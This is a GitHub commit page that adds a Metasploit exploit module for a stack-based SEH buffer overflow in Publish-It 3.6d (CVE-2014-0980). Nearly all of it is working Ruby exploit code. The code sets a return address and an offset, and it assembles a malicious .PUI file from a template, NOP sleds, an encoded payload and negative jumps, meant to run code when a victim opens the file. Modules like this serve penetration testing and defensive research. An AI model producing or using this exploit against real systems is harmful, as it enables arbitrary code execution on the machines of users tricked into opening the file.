Skip to content

Commit 076f15f

Browse files
committed
Land rapid7#4792 @jakxx Publish It PUI file exploit
2 parents b33e7f4 + 3f8ed56 commit 076f15f

File tree

2 files changed

+82
-0
lines changed

2 files changed

+82
-0
lines changed

data/exploits/CVE-2014-0980.pui

16.7 KB
Binary file not shown.
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::FILEFORMAT
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
16+
'Description' => %q{
17+
This module exploits a stack based buffer overflow in Publish-It when
18+
processing a specially crafted .PUI file. This vulnerability could be
19+
exploited by a remote attacker to execute arbitrary code on the target
20+
machine by enticing a user of Publish-It to open a malicious .PUI file.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Daniel Kazimirow', # Original discovery
26+
'Andrew Smith "jakx_"', # Exploit and MSF Module
27+
],
28+
'References' =>
29+
[
30+
[ 'OSVDB', '102911' ],
31+
[ 'CVE', '2014-0980' ],
32+
[ 'EDB', '31461' ]
33+
],
34+
'DefaultOptions' =>
35+
{
36+
'ExitFunction' => 'process',
37+
},
38+
'Platform' => 'win',
39+
'Payload' =>
40+
{
41+
'BadChars' => "\x00\x0b\x0a",
42+
'DisableNops' => true,
43+
'Space' => 377
44+
},
45+
'Targets' =>
46+
[
47+
[ 'Publish-It 3.6d',
48+
{
49+
'Ret' => 0x0046e95a, #p/p/r | Publish.EXE
50+
'Offset' => 1082
51+
}
52+
],
53+
],
54+
'Privileged' => false,
55+
'DisclosureDate' => 'Feb 5 2014',
56+
'DefaultTarget' => 0))
57+
58+
register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
59+
60+
end
61+
62+
def exploit
63+
64+
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
65+
fd = File.open(path, "rb")
66+
template_data = fd.read(fd.stat.size)
67+
fd.close
68+
69+
buffer = template_data
70+
buffer << make_nops(700)
71+
buffer << payload.encoded
72+
buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
73+
buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
74+
buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
75+
buffer << make_nops(2)
76+
buffer << [target.ret].pack("V")
77+
78+
print_status("Creating '#{datastore['FILENAME']}' file ...")
79+
file_create(buffer)
80+
81+
end
82+
end

0 commit comments

Comments
 (0)